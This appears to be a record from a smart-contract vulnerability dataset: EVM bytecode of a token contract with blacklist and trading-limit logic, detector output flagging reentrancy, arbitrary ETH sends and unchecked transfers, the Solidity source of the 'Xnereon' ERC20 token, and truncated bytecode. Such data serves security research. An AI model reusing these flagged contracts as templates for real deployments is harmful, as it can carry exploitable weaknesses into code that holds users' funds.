e3e565b9150915097509795505050505050565b611ce2612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d66906139ec565b60405180910390fd5b600f548111611d7d57600080fd5b80600f8190555050565b60056020528060005260406000206000915054906101000a900460ff1681565b6000601260159054906101000a900460ff16905090565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611e4d612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611eda576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ed1906139ec565b60405180910390fd5b8060078190555050565b611eec612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f70906139ec565b60405180910390fd5b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b611fdc612154565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614612069576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612060906139ec565b60405180910390fd5b80601260146101000a81548160ff02191690831515021790555050565b6000601054905090565b60008083036120a25760009050612104565b600082846120b09190613ab2565b90508284826120bf9190613ead565b146120ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120f690613f50565b60405180910390fd5b809150505b92915050565b600061214c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612a49565b905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036121cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121c290613fe2565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361223a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223190614074565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516123189190613605565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612394576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161238b90614106565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603612403576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123fa90614198565b60405180910390fd5b60008111612446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161243d9061422a565b60405180910390fd5b600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156124ea5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b612529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161252090614296565b60405180910390fd5b61253161172e565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561259f575061256f61172e565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b156128b957601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561264f5750601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156126a55750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561279757600f548111156126ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126e690614302565b60405180910390fd5b601260149054906101000a900460ff1661273e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127359061436e565b60405180910390fd5b6010548161274b8461137b565b612755919061438e565b1115612796576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278d90614430565b60405180910390fd5b5b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036127ff576127f4612aac565b60088190555061280e565b612807612ac3565b6008819055505b60006128193061137b565b9050601260159054906101000a900460ff161580156128865750601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561289e5750601260169054906101000a900460ff165b156128b75760075481106128b6576128b581612ada565b5b5b505b612974838383600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129605750600460008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61296c5760085461296f565b60005b612c07565b505050565b60008383111582906129c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129b8919061355e565b60405180910390fd5b50600083856129d09190614450565b9050809150509392505050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612a45573d6000803e3d6000fd5b5050565b60008083118290612a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a87919061355e565b60405180910390fd5b5060008385612a9f9190613ead565b9050809150509392505050565b6000600954600b54612abe919061438e565b905090565b6000600a54600b54612ad5919061438e565b905090565b6001601260156101000a81548160ff0219169083151502179055506000612b1f6064612b11600c548561209090919063ffffffff16565b61210a90919063ffffffff16565b90506000612b368284612e7490919063ffffffff16565b90506000612b4e60028461210a90919063ffffffff16565b90506000612b658285612e7490919063ffffffff16565b90506000479050612b7583612ebe565b6000612b8a8247612e7490919063ffffffff16565b9050612b968184613101565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb561848285604051612bc993929190614484565b60405180910390a1612bda85612ebe565b612be3856129dd565b5050505050506000601260156101000a81548160ff02191690831515021790555050565b6000612c2f6064612c21848661209090919063ffffffff16565b61210a90919063ffffffff16565b90506000612c468285612e7490919063ffffffff16565b9050612c9a84600260008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e7490919063ffffffff16565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2f81600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320190919063ffffffff16565b600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc482600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461320190919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051612e649190613605565b60405180910390a3505050505050565b6000612eb683836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612979565b905092915050565b6000600267ffffffffffffffff811115612edb57612eda613289565b5b604051908082528060200260200182016040528015612f095781602001602082028036833780820191505090505b5090503081600081518110612f2157612f20613a0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612fc8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612fec9190613d79565b8160018151811061300057612fff613a0c565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061306730601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130cb959493929190614579565b600060405180830381600087803b1580156130e557600080fd5b505af11580156130f9573d6000803e3d6000fd5b505050505050565b61312e30601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168361215c565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71983308460008061317a61172e565b426040518863ffffffff1660e01b815260040161319c96959493929190613c44565b60606040518083038185885af11580156131ba573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906131df9190613ca5565b5050506001601260166101000a81548160ff0219169083151502179055505050565b6000808284613210919061438e565b905083811015613255576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161324c9061461f565b60405180910390fd5b8091505092915050565b6000604051905090565b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6132c182613278565b810181811067ffffffffffffffff821117156132e0576132df613289565b5b80604052505050565b60006132f361325f565b90506132ff82826132b8565b919050565b600067ffffffffffffffff82111561331f5761331e613289565b5b602082029050602081019050919050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b600061336082613335565b9050919050565b61337081613355565b811461337b57600080fd5b50565b60008135905061338d81613367565b92915050565b60006133a66133a184613304565b6132e9565b905080838252602082019050602084028301858111156133c9576133c8613330565b5b835b818110156133f257806133de888261337e565b8452602084019350506020810190506133cb565b5050509392505050565b600082601f83011261341157613410613273565b5b8135613421848260208601613393565b91505092915050565b6000602082840312156134405761343f613269565b5b600082013567ffffffffffffffff81111561345e5761345d61326e565b5b61346a848285016133fc565b91505092915050565b6000819050919050565b61348681613473565b811461349157600080fd5b50565b6000813590506134a38161347d565b92915050565b6000602082840312156134bf576134be613269565b5b60006134cd84828501613494565b91505092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156135105780820151818401526020810190506134f5565b8381111561351f576000848401525b50505050565b6000613530826134d6565b61353a81856134e1565b935061354a8185602086016134f2565b61355381613278565b840191505092915050565b600060208201905081810360008301526135788184613525565b905092915050565b6000806040838503121561359757613596613269565b5b60006135a58582860161337e565b92505060206135b685828601613494565b9150509250929050565b60008115159050919050565b6135d5816135c0565b82525050565b60006020820190506135f060008301846135cc565b92915050565b6135ff81613473565b82525050565b600060208201905061361a60008301846135f6565b92915050565b60008060006060848603121561363957613638613269565b5b60006136478682870161337e565b93505060206136588682870161337e565b925050604061366986828701613494565b9150509250925092565b600060ff82169050919050565b61368981613673565b82525050565b60006020820190506136a46000830184613680565b92915050565b6000602082840312156136c0576136bf613269565b5b60006136ce8482850161337e565b91505092915050565b600067ffffffffffffffff8211156136f2576136f1613289565b5b602082029050602081019050919050565b6000613716613711846136d7565b6132e9565b9050808382526020820190506020840283018581111561373957613738613330565b5b835b81811015613762578061374e8882613494565b84526020840193505060208101905061373b565b5050509392505050565b600082601f83011261378157613780613273565b5b8135613791848260208601613703565b91505092915050565b600080604083850312156137b1576137b0613269565b5b600083013567ffffffffffffffff8111156137cf576137ce61326e565b5b6137db858286016133fc565b925050602083013567ffffffffffffffff8111156137fc576137fb61326e565b5b6138088582860161376c565b9150509250929050565b61381b81613355565b82525050565b60006020820190506138366000830184613812565b92915050565b600080600080600080600060e0888a03121561385b5761385a613269565b5b60006138698a828b0161337e565b975050602061387a8a828b0161337e565b965050604061388b8a828b01613494565b955050606061389c8a828b01613494565b94505060806138ad8a828b01613494565b93505060a06138be8a828b0161337e565b92505060c06138cf8a828b01613494565b91505092959891949750929550565b60006040820190506138f360008301856135f6565b61390060208301846135f6565b9392505050565b6000806040838503121561391e5761391d613269565b5b600061392c8582860161337e565b925050602061393d8582860161337e565b9150509250929050565b613950816135c0565b811461395b57600080fd5b50565b60008135905061396d81613947565b92915050565b60006020828403121561398957613988613269565b5b60006139978482850161395e565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006139d66020836134e1565b91506139e1826139a0565b602082019050919050565b60006020820190508181036000830152613a05816139c9565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000613a7582613473565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203613aa757613aa6613a3b565b5b600182019050919050565b6000613abd82613473565b9150613ac883613473565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615613b0157613b00613a3b565b5b828202905092915050565b600081905092915050565b50565b6000613b27600083613b0c565b9150613b3282613b17565b600082019050919050565b6000613b4882613b1a565b9150819050919050565b600081519050613b618161347d565b92915050565b600060208284031215613b7d57613b7c613269565b5b6000613b8b84828501613b52565b91505092915050565b6000604082019050613ba96000830185613812565b613bb660208301846135f6565b9392505050565b600081519050613bcc81613947565b92915050565b600060208284031215613be857613be7613269565b5b6000613bf684828501613bbd565b91505092915050565b6000819050919050565b6000819050919050565b6000613c2e613c29613c2484613bff565b613c09565b613473565b9050919050565b613c3e81613c13565b82525050565b600060c082019050613c596000830189613812565b613c6660208301886135f6565b613c736040830187613c35565b613c806060830186613c35565b613c8d6080830185613812565b613c9a60a08301846135f6565b979650505050505050565b600080600060608486031215613cbe57613cbd613269565b5b6000613ccc86828701613b52565b9350506020613cdd86828701613b52565b9250506040613cee86828701613b52565b9150509250925092565b7f54726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b6000613d2e6017836134e1565b9150613d3982613cf8565b602082019050919050565b60006020820190508181036000830152613d5d81613d21565b9050919050565b600081519050613d7381613367565b92915050565b600060208284031215613d8f57613d8e613269565b5b6000613d9d84828501613d64565b91505092915050565b6000604082019050613dbb6000830185613812565b613dc86020830184613812565b9392505050565b600060e082019050613de4600083018a613812565b613df16020830189613812565b613dfe60408301886135f6565b613e0b60608301876135f6565b613e1860808301866135f6565b613e2560a0830185613812565b613e3260c08301846135f6565b98975050505050505050565b60008060408385031215613e5557613e54613269565b5b6000613e6385828601613b52565b9250506020613e7485828601613b52565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000613eb882613473565b9150613ec383613473565b925082613ed357613ed2613e7e565b5b828204905092915050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b6000613f3a6021836134e1565b9150613f4582613ede565b604082019050919050565b60006020820190508181036000830152613f6981613f2d565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000613fcc6024836134e1565b9150613fd782613f70565b604082019050919050565b60006020820190508181036000830152613ffb81613fbf565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061405e6022836134e1565b915061406982614002565b604082019050919050565b6000602082019050818103600083015261408d81614051565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006140f06025836134e1565b91506140fb82614094565b604082019050919050565b6000602082019050818103600083015261411f816140e3565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006141826023836134e1565b915061418d82614126565b604082019050919050565b600060208201905081810360008301526141b181614175565b9050919050565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b60006142146029836134e1565b915061421f826141b8565b604082019050919050565b6000602082019050818103600083015261424381614207565b9050919050565b7f54686973206163636f756e7420697320626c61636b6c69737465640000000000600082015250565b6000614280601b836134e1565b915061428b8261424a565b602082019050919050565b600060208201905081810360008301526142af81614273565b9050919050565b7f5472616e73616374696f6e20616d6f756e74206c696d69746564000000000000600082015250565b60006142ec601a836134e1565b91506142f7826142b6565b602082019050919050565b6000602082019050818103600083015261431b816142df565b9050919050565b7f54726164696e67206e6f74207374617274656400000000000000000000000000600082015250565b60006143586013836134e1565b915061436382614322565b602082019050919050565b600060208201905081810360008301526143878161434b565b9050919050565b600061439982613473565b91506143a483613473565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff038211156143d9576143d8613a3b565b5b828201905092915050565b7f42616c616e63652065786365656465642077616c6c65742073697a6500000000600082015250565b600061441a601c836134e1565b9150614425826143e4565b602082019050919050565b600060208201905081810360008301526144498161440d565b9050919050565b600061445b82613473565b915061446683613473565b92508282101561447957614478613a3b565b5b828203905092915050565b600060608201905061449960008301866135f6565b6144a660208301856135f6565b6144b360408301846135f6565b949350505050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6144f081613355565b82525050565b600061450283836144e7565b60208301905092915050565b6000602082019050919050565b6000614526826144bb565b61453081856144c6565b935061453b836144d7565b8060005b8381101561456c57815161455388826144f6565b975061455e8361450e565b92505060018101905061453f565b5085935050505092915050565b600060a08201905061458e60008301886135f6565b61459b6020830187613c35565b81810360408301526145ad818661451b565b90506145bc6060830185613812565b6145c960808301846135f6565b9695505050505050565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b6000614609601b836134e1565b9150614614826145d3565b602082019050919050565b60006020820190508181036000830152614638816145fc565b905091905056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122045eeb754256a319fd0fb826add02e786d417847d336b419c2412600e675d43ef64736f6c634300080d0033
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-lowlevel", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
5,011
0x6e155e76435025ed80b3dd9cdc09edbcf3865b56
/** *Submitted for verification at Etherscan.io on 2021-05-12 */ //SPDX-License-Identifier: MIT /* * MIT License * =========== * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in all * copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE */ pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns (uint); function balanceOf(address account) external view returns (uint); function transfer(address recipient, uint amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint amount) external returns (bool); function transferFrom(address sender, address recipient, uint amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } contract Context { constructor () internal { } // solhint-disable-previous-line no-empty-blocks function _msgSender() internal view returns (address payable) { return msg.sender; } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping (address => uint) private _balances; mapping (address => mapping (address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns (uint) { return _totalSupply; } function balanceOf(address account) public view returns (uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns (uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); require(_totalSupply <= 1e28, "_totalSupply exceed hard limit"); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } } library SafeMath { function add(uint a, uint b) internal pure returns (uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns (uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns (uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns (uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns (uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns (uint) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint c = a / b; return c; } } library Address { function isContract(address account) internal view returns (bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract Xnereon is ERC20, ERC20Detailed { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint; address public governance; mapping (address => bool) public minters; constructor () public ERC20Detailed("Xnereon Token", "XON", 18) { governance = msg.sender; addMinter(governance); // underlying _mint function has hard limit mint(governance, 1e28); } function mint(address account, uint amount) public { require(minters[msg.sender], "!minter"); _mint(account, amount); } function setGovernance(address _governance) public { require(msg.sender == governance, "!governance"); governance = _governance; } function addMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = true; } function removeMinter(address _minter) public { require(msg.sender == governance, "!governance"); minters[_minter] = false; } function burn(uint256 amount) public { _burn(msg.sender, amount); } }
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80635aa6e675116100a2578063a457c2d711610071578063a457c2d71461055b578063a9059cbb146105c1578063ab033ea914610627578063dd62ed3e1461066b578063f46eccc4146106e357610116565b80635aa6e675146103f257806370a082311461043c57806395d89b4114610494578063983b2d561461051757610116565b80633092afd5116100e95780633092afd5146102a8578063313ce567146102ec578063395093511461031057806340c10f191461037657806342966c68146103c457610116565b806306fdde031461011b578063095ea7b31461019e57806318160ddd1461020457806323b872dd14610222575b600080fd5b61012361073f565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610163578082015181840152602081019050610148565b50505050905090810190601f1680156101905780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101ea600480360360408110156101b457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506107e1565b604051808215151515815260200191505060405180910390f35b61020c6107ff565b6040518082815260200191505060405180910390f35b61028e6004803603606081101561023857600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610809565b604051808215151515815260200191505060405180910390f35b6102ea600480360360208110156102be57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506108e2565b005b6102f4610a00565b604051808260ff1660ff16815260200191505060405180910390f35b61035c6004803603604081101561032657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a17565b604051808215151515815260200191505060405180910390f35b6103c26004803603604081101561038c57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610aca565b005b6103f0600480360360208110156103da57600080fd5b8101908080359060200190929190505050610b97565b005b6103fa610ba4565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61047e6004803603602081101561045257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610bca565b6040518082815260200191505060405180910390f35b61049c610c12565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104dc5780820151818401526020810190506104c1565b50505050905090810190601f1680156105095780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6105596004803603602081101561052d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610cb4565b005b6105a76004803603604081101561057157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610dd2565b604051808215151515815260200191505060405180910390f35b61060d600480360360408110156105d757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e9f565b604051808215151515815260200191505060405180910390f35b6106696004803603602081101561063d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610ebd565b005b6106cd6004803603604081101561068157600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc4565b6040518082815260200191505060405180910390f35b610725600480360360208110156106f957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061104b565b604051808215151515815260200191505060405180910390f35b606060038054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107d75780601f106107ac576101008083540402835291602001916107d7565b820191906000526020600020905b8154815290600101906020018083116107ba57829003601f168201915b5050505050905090565b60006107f56107ee61106b565b8484611073565b6001905092915050565b6000600254905090565b600061081684848461126a565b6108d78461082261106b565b6108d285604051806060016040528060288152602001611b3760289139600160008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061088861106b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546115209092919063ffffffff16565b611073565b600190509392505050565b600560019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146109a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600b8152602001807f21676f7665726e616e636500000000000000000000000000000000000000000081525060200191505060405180910390fd5b60006006600